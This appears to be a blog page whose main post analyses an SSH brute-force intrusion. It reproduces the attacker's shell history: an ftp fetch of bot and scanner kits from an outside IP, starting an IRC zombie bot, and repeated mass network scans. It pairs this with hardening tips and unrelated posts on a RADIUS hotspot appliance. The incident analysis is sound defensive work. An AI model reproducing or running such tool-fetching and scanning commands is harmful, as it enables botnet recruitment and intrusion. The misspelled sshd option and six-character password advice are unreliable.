Anatomy of an SSH Brute Force Dictionary Attack

A few weeks ago I wrote that I had been noticing a large number of attempted SSH brute force dictionary attacks on my server. None were successful but I published some ways to protect yourself. This morning at 8am – a would be hacker succeeded in a dictionary attack – what he left behind was very interesting.

I wrote that my server was safe enough from these attacks and that my passwords were strong and the likelyhood someone could break into the server was virtually nill. There was one problem – I was not the only user of the server. I have several accounts that (well trusted) friends are allowed to use and one of them changed his password so that it matched his username. Since dictionary attacks look for this exact vulnerability when scanning – it did not take long for him to get in. Of course the account was not privileged in *any* way so no serious danger was caused. I was fortunate enough to notice the router lights going crazy this morning before I left for work. Curious as to what was going on, I poked around a bit and noticed a large volume of UDP traffic and figured out that I had been hacked. I immediatley disconnected the WAN port and began to investigate further.

What I found was very interesting and feel that I should share with everyone the anatomy of an SSH brute force hack.

The first thing I did was look at the .bash_history file in the user’s home directory which I shall call joe. The .bash_history is a list of all the commands you have typed in. The following is the content of that file:
ls
ls -lFa
ls
uptime
ls
cd /tmp
ls
cd ". "
passwd
/sbin/ifconfig | grep inet
wget http://www.kernel.org/pub/dist/superrescue/v2/superrescue-2.1.2.iso.gz
ls
rm -rf superrescue-2.1.2.iso.gz
ftp 212.247.250.250
tar xvf bots.tar
cd .bot
PATH="."
inetd
cd /tmp
tar xvf shh.tar
cd shh
ls
./scan 206.77
./scan 206.78
./scan 206.79
[ Note: there were many scan attempts]
c d/tmp
cd /tmp
cd shh
./scan 70.176
./scan 70.177
./scan 70.178
./scan 70.179
./scan 70.180
./scan 70.181
cd /tmp
cd shh
la
ls
cat vuln.txt
./scan 24.55
./scan 24.56
./scan 24.57
./scan 24.58
./scan 24.59
./scan 24.60
./scan 24.61
./scan 24.62
./scan 24.63
./scan 24.64

./scan 24.65
./scan 24.66
./scan 24.67
./scan 24.68
./scan 24.70
./scan 24.71
cd /tmp
cd shh
ls
cat vuln.txt
./scan 61.155
./scan 61.156
./scan 61.157
./scan 61.158
./scan 61.159
./scan 61.160
./scan 61.161
./scan 61.162
./scan 61.163
./scan 61.164
./scan 61.165
./scan 61.166
./scan 61.167
./scan 61.168
./scan 61.169
./scan 61.170
cd /tmp
cd shh
ls
cat vuln.txt
./scan 217.155
./scan 217.156
./scan 217.157
./scan 217.158
./scan 217.159
./scan 217.160
cd /tmp
cd shh
ls
cat vuln.txt
./scan 203.158
./scan 203.159
./scan 203.160
./scan 203.161
./scan 203.162
./scan 203.163
./scan 203.165
./scan 203.168
./scan 203.170
./scan 203.171
./scan 203.172
cd /tmp
cd shh
;s
ls
cat vuln.txt
./scan 192.145
./scan 192.146
./scan 192.147
./scan 192.148
./scan 192.149
./scan 192.150
./scan 192.151
./scan 192.152
./scan 192.153
./scan 192.154
./scan 192.155
./scan 192.156
./scan 192.157
./scan 192.158
./scan 192.159
./scan 192.160
./scan 192.161
./scan 192.162
./scan 192.163
./scan 192.164
./scan 192.165
./scan 192.166
./scan 192.167
./scan 192.168
./scan 192.169
./scan 192.170
./scan 192.171
./scan 192.172
./scan 192.173
./scan 192.174
./scan 192.175
./scan 192.176
./scan 67.45
cd /tmp
cd shh
./scan 67.44
cd /tmp
c dshh
cd shh
ls
cat vuln.txt
./scan 192.177
./scan 192.178
./scan 66.155
./scan 66.156
./scan 66.157
./scan 66.158
./scan 66.159
./scan 66.160
./scan 66.161
./scan 66.162
./scan 66.163
./scan 66.164
./scan 66.165
./scan 66.166
./scan 66.167
./scan 66.168
./scan 66.169
./scan 66.170
./scan 66.171
cd /tmp
cd shh
ls
cat vuln.txt
./scan 81.155
./scan 81.156
./scan 81.157
./scan 81.159
./scan 81.160
./scan 81.161
./scan 81.162
./scan 81.164
./scan 81.165
./scan 128.155
./scan 128.156
./scan 128.157
./scan 128.158
./scan 128.159
./scan 128.160
./scan 128.162
./scan 128.163
./scan 128.164
./scan 128.165
./scan 128.166
./scan 128.167
./scan 128.168
./scan 128.170
./scan 128.171
./scan 128.172
./scan 128.173
./scan 128.174
./scan 128.175
./scan 128.176
./scan 128.177
./scan 128.178
./scan 128.179
./scan 128.180
./scan 128.181
./scan 128.182
./scan 128.183
./scan 128.184
./scan 128.185
c d/tmp
cd /tmp
cd shh
ls
cat vuln.txt
./scan 80.155
./scan 80.156
./scan 80.157
./scan 80.158
./scan 80.159
./scan 213.177
./scan 213.17 8
./scan 213.178
./scan 213.179
./scan 213.180
./scan 213.181
./scan 213.182
./scan 213.183
./scan 213.184
./scan 213.185
./scan 213.186
./scan 213.187
cd /tmp
cd shh
;s
ls
cat vuln.txt
./scan 67.100
./scan 67.101
./scan 67.102
./scan 67.103
./scan 67.104
./scan 67.105
./scan 67.106


What’s going on above? The hacker logged in and checked some things out in the home directory (ls, ls -lFa). Then wanted to seee how long the server had been up for (uptime). Then, the hacker changed the password of the hacked account (passwd) and wanted to see what the IP address was of any interfaces on the machine (/sbin/ifconfig | grep inet).

Next, for some bizarre reason, he wanted to test the internet connection and read/writeability of the home directory (?) by issueing the command wget http://www.kernel.org/pub/dist/superrescue/v2/superrescue-2.1.2.iso.gz. After the file finished downloading, he immediately deleted it (rm -rf superrescue-2.2.2.iso.gz).

Now, he really gets to work by grabbing the necessary tools needed to exploit the server. Using FTP, he goes out and grabs two files, namely bots.tar and shh.tar.

The file size and contents of bots.tar is as follows:
File name: bots.tar
File size: 337920 bytes
Contents: drwxr-xr-x apache/apache 0 2005-08-29 05:26:06 .bot/
-rw-r--r-- apache/apache 65536 2003-03-30 09:04:34 .bot/core
-rwxr-xr-x apache/apache 143683 2003-10-21 10:16:53 .bot/inetd
-rw-r--r-- apache/apache 84 2005-08-29 05:25:36 .bot/mech.users
-rw------- apache/apache 12288 2005-05-09 06:43:43 .bot/.mech.users.swp
-rw-r--r-- apache/apache 22935 2001-04-06 13:00:50 .bot/mech.help
-rw-r--r-- apache/apache 1116 2005-08-29 05:23:08 .bot/mech.session
drwxr-xr-x apache/apache 0 2001-09-06 22:17:30 .bot/randfiles/
-rw-r--r-- apache/apache 830 2001-04-06 13:01:20 .bot/randfiles/randkicks.e
-rw-r--r-- apache/apache 2495 2001-04-06 13:01:34 .bot/randfiles/randpickup.e
-rw-r--r-- apache/apache 55316 2001-04-06 13:15:24 .bot/randfiles/randsay.e
-rw-r--r-- apache/apache 519 2001-04-06 13:01:26 .bot/randfiles/randnicks.e
-rw-r--r-- apache/apache 1465 2001-04-06 13:15:54 .bot/randfiles/randversions.e
-rw-r--r-- apache/apache 633 2001-04-06 13:15:42 .bot/randfiles/randsignoff.e
-rw-r--r-- apache/apache 5195 2001-04-06 13:01:10 .bot/randfiles/randaway.e
-rw-r--r-- apache/apache 2854 2001-04-06 13:01:16 .bot/randfiles/randinsult.e
-rw-r--r-- apache/apache 84 2005-08-29 05:25:52 .bot/mech1.users
-rw-r--r-- apache/apache 942 2001-04-06 13:00:32 .bot/checkmech
-rw-r--r-- apache/apache 84 2005-08-29 05:26:06 .bot/mech2.users
-rw-r--r-- apache/apache 6 2005-05-09 06:56:36 .bot/mech.pid
-rw-r--r-- apache/apache 2857 2005-08-29 05:24:15 .bot/mech.set
-rw-r--r-- apache/apache 1011 2005-05-09 07:00:02 .bot/mech.levels


The file size and contents of shh.tar is as follows:
File name: shh.tar
File size: 1413120 bytes
Contents: drwxr-xr-x support/support 0 2005-11-02 03:16:45 shh/
-rw-rw-r-- support/support 0 2005-11-02 02:50:33 shh/scan.log
-rwxr-xr-x support/support 282 2005-11-02 02:50:12 shh/scan
-rwxr-xr-x support/support 285 2005-11-02 02:49:20 shh/a
-rw-rw-r-- support/support 0 2005-11-02 02:49:36 shh/nobash.txt
-rw-rw-r-- support/support 0 2005-11-02 00:12:23 shh/vuln.txt
-rwxr-xr-x support/support 1384518 2005-06-05 13:24:05 shh/sshd
-rwxr-xr-x support/support 5944 2005-05-15 15:05:13 shh/pscan2
-rw-r--r-- support/support 5797 2005-05-15 14:53:29 shh/pscan2.c
-rw-rw-r-- support/support 2270 2005-11-02 03:16:45 shh/pass.txt


Once bot.tar was untarred, a local inetd daemon was started. I ran the inetd daemon and did a port scan on my own machine to see what port(s) it had opened up. It had created its own IRC server and was listening for commands – indicative of a so-called “Zombie bot” used in Distributed Denial Of Service (DDoS) attacks. Once inetd was loaded, the hacker began using my machine as another base of operations in scanning IP addresses that were also vulnerable to SSH dictionary attacks. After each ./scan X.Y all vulnerable IPs were logged in vuln.txt which is why he dumped out the contents of the file after each scan (cat vuln.txt).

How can you protect your server from such an attack?

Follow these simple guidelines:
1) Use good *strong* passwords (i.e. Six characters, upper AND lower case characters and at least one numeral). If you have other users, assign them a password that is difficult to guess and *do not* let them change it or enforce password rules mentioned above.
2) Disable root logins via SSH
3) Use the firewall rules I posted to drop packets after several failed SSH login attempts in X seconds

PHP hotspot login script for Chillispot

I offer a modified version of drewb’s PHP version of hotspotlogin.cgi that contains support for PHP installs that do not register global variables.

Grab a copy today!

wlogin-1.20a

Building an embedded linux Radius appliance – Part 2

Choosing the right distro for a custom embedded Linux system is not easy. Most distros will not even install the most basic elements of the operating system in less than 512MB of space.

To begin the second phase of this project, I decided to partition an old hard drive to only 512MB – just to see if I could get a fully functional Linux system with Apache, PHP, and of course MySQL. FreeBSD 5.4 was my first choice of OS. After I kept receiving Singal 11 errors due to the fact that the install needed more than 512MB of hard drive space, I quickly moved on to explore pre-built LiveCD images designed to be installed to hard disc, Compact Flash, or a USB thumbdrive.

I was immediately surprised to see the number of projects available for embedded systems – however, since I did not even have my WRAP.1E motherboard and the compact flash card yet, I put these ideas on ice. One very noteworthy mention though is the m0n0wall project. m0n0wall can be installed on a CF or is available as a bootable LiveCD and provides advanced routing & firewall protection with an extremely well designed Web GUI configuration front end. By inserting a floppy into the machine, you can save your preferences for later retrieval. I decided to model the level of configuration and clean looking configuration GUI after this distro.

After other disappointed attempts at installing pre-made images for embedded systems, I moved onto a distro I rarely think about anymore: Slackware. Slackware is a great distro for advanced users who need a slim and trim install. There’s no fluff with Slackware. In fact, by choosing only the most basic setup options in the installer, I was able to get my install working on just 125MB of of hard drive space. This install included Apache and PHP.

To get your own pre-image / prototype working, format a hard drive to just 512MB (preferably the first partition). Download and burn just the first Slackware CD. Slackware does not have ISO images available directly from their website or mirrors, however, you can get the ISO using BitTorrent at slackware.com/torrent. Boot the CD and install only these package groups:

A, AP, L, and N

Be sure to choose the Expert mode install so you can also select the individual packages. Uncheck everything that is unnecessary, i.e. audio, graphics, X support, gcc, etc. and check those packages we do want, i.e. Apache (with mod_ssl), PHP, MySQL, OpenSSL, etc.

After installation and boot up, it took a few more rounds of installing necessary libraries. You can easily install needed libraries by mounting the Slackware install CD and changing to the the directory /mnt/cdrom/slackware/l (assuming your CD is mounted under /mnt/cdrom). Then type pkgtool and select Current directory. It will then list each and every package in the directory and prompt you with Yes / No / Cancel. In my install, I needed some extra libraries to get PHP and MySQL working properly.

Once you get all the necessary packages installed and configured, spend some time ensuring everything works. Check that your network interfaces are up and properly configured and that after a reboot, all daemons are started. Remember, we want a system that is bootable and does not require logging in to a console to start or configure.

See you in a few days!

SSH Brute Force Dictionary Attack

I’ve been noticing a lot of attempted brute force attacks on port 22 (SSH) – undoubtedly from script kiddies. Many times, out of curiosity, I reverse DNS the IP and find a business website (usually in Korea or China) on the other end. I am sure these businesses have no idea their website has been hacked (probably on port 22) and is being used as a base of operations for bots that scour the net for other brute force attacks.

The chance these scripts, running through the most common username/password combos found on servers, would break into my server is highly unlikely. I have good strong passwords not based on a dictionary word and have disabled root logins for SSH. However, why even give them the chance? A little searching on the internet and a little firewall knowledge a la IPTABLES produces the following firewall rules:

iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 -j DROP

These rules will basically drop packets that have attempted to logon more that 4 times in 60 seconds on port 22 (SSH). Of course, once hackers figure this out, they can limit their connection attempts to only three per minute — but I will have new rules waiting when that happens.

Protect yourself by ensuring your passwords are strong, disable root SSH logins, and adding these firewall rules to your sever.

To disable root logins for SSH, edit your /etc/ssh/sshd_config file. Then find the section labeled #Authentication:. You will find an option #PermitRootLogins yes – change this line to read:

PermitRootLogins no

Then restart your ssh daemon by issueing the command: /etc/init.d/sshd restart.

Building an embedded linux Radius appliance – Part 1

I decided to begin doing research on a project that I have been milling over in my head for nearly a year now. The concept was simple enough: With WiFi hotspots as prominent as they are now, their popularity will certainly rise along with the need for WiFi hotspot owners to control access.

One of the first steps I decided was necessary was whether prefab hardware was available to provide a small footprint. There’s no sense creating an appliance that has an ATX motherboard with dual NICs running Linux – that’s a computer. I wanted a sleek, slim, to the point appliance that a cafe owner could plug in and go – not a big bulky somputer generating more noise and heat.

What, you may ask is a Radius server? A radius server is an authentication server ensuring that a user name and password matchup. The radius server also stores various options such as time limits, bandwidth limits, etc. that it can pass back to other services after authentication. Authentication is achieved through a standard user name and password (CHAP), or more advanced methods of authentication such as EAP.

Why would cafe owners possibly be interested in something like this? Imagine you offer free wireless at your cafe. Within a few months of opening you are pleased to see your shop is filled to the brim (no pun intended). However, for as busy as you seem — the profits are not there. What’s going on? Simple – leechers. People will sit themselves down, spread out on a table, pull out the laptop and a cell phone and basically use your cafe as a “portable” office for siz hours a day.

How would this Radius device work within the confines of the cafe? After a purchase of an item – a coffee, a bagel, or whatever – the receipt number would be entered into the system by an employee valid for “X” hours. The customer takes his/her receipt back to their table, powers on their laptop and enters the receipt number into the web page that appears.

After a bit of searching, I found the perfect device that even has two Mini-PCI slots at http://www.mini-box.com/s.nl/sc.8/category.19/it.A/id.281/.f. The site even sells cases designed around the footprint of the board as well as the necessary power adapters. All-in-all, a cool $180 will suffice. Because the motherbaord has no IDE connections, I will have to delve into embedded linux land using a Compact Flash card.

I came up with the following outline for this project:

• Small footprint – 256MB to 512MB
• Bootable without need for configuration – “Plug & Play”
• Custom configuration can achieved through a user friendly web interface
• Strong Firewall options

While I wait for the ordered WRAP.1E board to arrive, I will build a prototype machine to test the functionality of the software.

See you in a few days!